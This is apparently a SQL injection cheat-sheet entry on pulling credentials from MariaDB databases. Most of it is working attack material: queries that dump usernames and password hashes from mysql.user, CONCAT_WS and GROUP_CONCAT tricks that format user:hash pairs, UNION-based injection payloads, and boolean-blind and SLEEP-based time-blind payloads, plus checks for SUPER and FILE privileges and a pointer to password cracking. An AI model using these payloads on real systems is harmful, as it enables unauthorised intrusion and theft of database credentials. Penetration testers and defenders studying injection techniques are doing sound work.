Database Credentials
When performing SQL injection attacks against MariaDB, extracting database credentials can provide valuable information for further exploitation.
| Information | Query |
|---|---|
| Table | mysql.user |
| Columns | User, Password, authentication_string, plugin |
| Current User | USER(), CURRENT_USER(), CURRENT_USER, SYSTEM_USER(), SESSION_USER() |
Current User Functions
MariaDB provides several functions to retrieve the current user:
| Function | Description | Example Output |
|---|---|---|
USER() | Current user (user@host from connection) | [email protected] |
CURRENT_USER() | Authenticated user (may differ) | root@% |
CURRENT_USER | Same as CURRENT_USER() (no parens) | root@% |
SYSTEM_USER() | Alias for USER() | [email protected] |
SESSION_USER() | Alias for USER() | [email protected] |
-- Get current user
SELECT USER()
-- Get authenticated user (may differ with proxy users)
SELECT CURRENT_USER()
-- CURRENT_USER can be used without parentheses
SELECT CURRENT_USER
-- All user functions at once
SELECT
USER() AS user_func,
CURRENT_USER() AS current_user_func,
SYSTEM_USER() AS system_user_func,
SESSION_USER() AS session_user_func
Note: USER(), SYSTEM_USER(), and SESSION_USER() return identical results. CURRENT_USER() may differ when using proxy users or role changes. CURRENT_USER can be used with or without parentheses.
Extracting Username Only
Use SUBSTRING_INDEX to extract just the username or host portion:
-- Extract username (before @)
SELECT SUBSTRING_INDEX(USER(), '@', 1) AS username
-- Extract host (after @)
SELECT SUBSTRING_INDEX(USER(), '@', -1) AS host
-- From CURRENT_USER
SELECT SUBSTRING_INDEX(CURRENT_USER(), '@', 1) AS username
mysql.user Table
The mysql.user table contains all user accounts and their credentials. Accessing this table requires elevated privileges.
Basic Queries
-- List all users
SELECT User, Host FROM mysql.user
-- List usernames only
SELECT User FROM mysql.user LIMIT 5
-- Count users
SELECT COUNT(*) FROM mysql.user
-- Query specific user
SELECT User, Host FROM mysql.user WHERE User = 'root'
Password/Hash Columns
MariaDB stores password hashes in different columns depending on version:
| Column | Description |
|---|---|
Password | Traditional password hash column |
authentication_string | Alternative hash storage (newer) |
plugin | Authentication plugin (e.g., mysql_native_password, ed25519) |
-- Query Password column (any user)
SELECT User, Password FROM mysql.user LIMIT 1
-- Query Password for specific user
SELECT User, Password FROM mysql.user WHERE User = 'root' LIMIT 1
-- Query authentication_string column
SELECT User, authentication_string FROM mysql.user WHERE User = 'root' LIMIT 1
-- Query plugin to see authentication method
SELECT User, plugin FROM mysql.user LIMIT 3
Credential Extraction
Using CONCAT_WS
CONCAT_WS (Concatenate With Separator) is useful for extracting formatted credentials:
-- Using hex separator (0x3A = colon)
SELECT CONCAT_WS(0x3A, User, Password) AS creds FROM mysql.user WHERE User = 'root'
-- Returns: root:*HASH...
-- Using literal colon
SELECT CONCAT_WS(':', User, Password) AS creds FROM mysql.user LIMIT 1
-- Handle NULL passwords with COALESCE (CONCAT_WS skips NULL values)
SELECT CONCAT_WS(':', User, COALESCE(Password, '')) AS creds FROM mysql.user LIMIT 1
-- Multiple fields (user:host:hash)
SELECT CONCAT_WS(':', User, Host, Password) AS full_creds FROM mysql.user LIMIT 1
Using GROUP_CONCAT
Extract multiple users at once:
-- All usernames comma-separated
SELECT GROUP_CONCAT(User) AS users FROM mysql.user
-- With custom separator
SELECT GROUP_CONCAT(User SEPARATOR '|') AS users FROM mysql.user
-- User:hash pairs with newline separator
SELECT GROUP_CONCAT(CONCAT(User, ':', Password) SEPARATOR '\n') AS creds FROM mysql.user
UNION-Based Extraction
Current User
-- Extract current user via UNION
' UNION SELECT 1, USER() -- -
-- Full query example
SELECT id, username FROM users WHERE id = 999
UNION SELECT 1, USER()
From mysql.user
-- Extract users from mysql.user (requires privileges)
' UNION SELECT 1, User FROM mysql.user LIMIT 1 -- -
-- Full query context (extracting username)
SELECT id, username FROM users WHERE id = 999
UNION SELECT 1, User FROM mysql.user LIMIT 1
-- Extract credentials with CONCAT_WS
' UNION SELECT 1, CONCAT_WS(':', User, Password) FROM mysql.user LIMIT 1 -- -
-- Full query context (extracting credentials)
SELECT id, username FROM users WHERE id = 999
UNION SELECT 1, CONCAT_WS(':', User, Password) FROM mysql.user LIMIT 1
Subquery Extraction
-- Extract via subquery
SELECT (SELECT USER()) AS current_usr
-- CASE WHEN for conditional extraction
SELECT CASE
WHEN USER() LIKE 'root@%' THEN 'is_root'
ELSE 'not_root'
END AS user_check
information_schema Alternative
When mysql.user is inaccessible, use information_schema.user_privileges:
-- Query privileges for current user
SELECT GRANTEE, PRIVILEGE_TYPE FROM information_schema.user_privileges
WHERE REPLACE(SUBSTRING_INDEX(GRANTEE, '@', 1), "'", '') = SUBSTRING_INDEX(USER(), '@', 1)
LIMIT 5
-- List all grantees
SELECT DISTINCT GRANTEE FROM information_schema.user_privileges LIMIT 10
-- Check for specific privilege
SELECT COUNT(*) AS has_select FROM information_schema.user_privileges
WHERE REPLACE(SUBSTRING_INDEX(GRANTEE, '@', 1), "'", '') = SUBSTRING_INDEX(USER(), '@', 1)
AND PRIVILEGE_TYPE = 'SELECT'
Privilege Checks
SHOW GRANTS
-- Show grants for current user
SHOW GRANTS FOR CURRENT_USER()
-- Show grants (implicit current user)
SHOW GRANTS
Checking Specific Privileges
-- Check if superuser
SELECT COUNT(*) AS is_super FROM information_schema.user_privileges
WHERE REPLACE(SUBSTRING_INDEX(GRANTEE, '@', 1), "'", '') = SUBSTRING_INDEX(USER(), '@', 1)
AND PRIVILEGE_TYPE = 'SUPER'
-- Check FILE privilege (needed for file operations)
SELECT COUNT(*) AS has_file FROM information_schema.user_privileges
WHERE REPLACE(SUBSTRING_INDEX(GRANTEE, '@', 1), "'", '') = SUBSTRING_INDEX(USER(), '@', 1)
AND PRIVILEGE_TYPE = 'FILE'
Database and Host Information
Combine user info with server details:
-- Current database
SELECT DATABASE() AS db
-- Server hostname
SELECT @@hostname AS host
-- Connection/thread ID
SELECT CONNECTION_ID() AS cid
-- Combined server and user information
SELECT
USER() AS user,
DATABASE() AS db,
@@hostname AS host,
@@version AS version
Blind Extraction Techniques
When direct output is not visible:
Character-by-Character Extraction
-- Get username length
SELECT LENGTH(SUBSTRING_INDEX(USER(), '@', 1)) AS len
-- Extract first character
SELECT SUBSTRING(USER(), 1, 1) AS first_char
-- Get ASCII value
SELECT ASCII(SUBSTRING(USER(), 1, 1)) AS ascii_val
Boolean-Based Checks
-- Check if root user
SELECT IF(USER() LIKE 'root@%', 1, 0) AS is_root
-- In injection context (character comparison)
' AND IF(SUBSTRING(USER(),1,1)='r', 1, 0) -- -
-- In injection context (ASCII comparison)
' AND IF(ASCII(SUBSTRING(USER(),1,1))=114, 1, 0) -- -
-- Check username length in injection context
' AND LENGTH(SUBSTRING_INDEX(USER(), '@', 1)) = 4 -- -
Time-Based Extraction
-- Delay if user is root
' AND IF(USER() LIKE 'root@%', SLEEP(5), 0) -- -
-- Extract character with timing
' AND IF(ASCII(SUBSTRING(USER(),1,1))=114, SLEEP(5), 0) -- -
MariaDB-Specific Notes
- MariaDB uses
mysql_native_passwordby default for password hashing - The
Passwordcolumn contains hashed values, not plaintext - MariaDB may use either
Passwordorauthentication_stringcolumns depending on version and plugin - The
ed25519plugin is MariaDB-specific and more secure thanmysql_native_password
For more information on password hashing and cracking, see the related entries on Password Hashing and Password Cracking.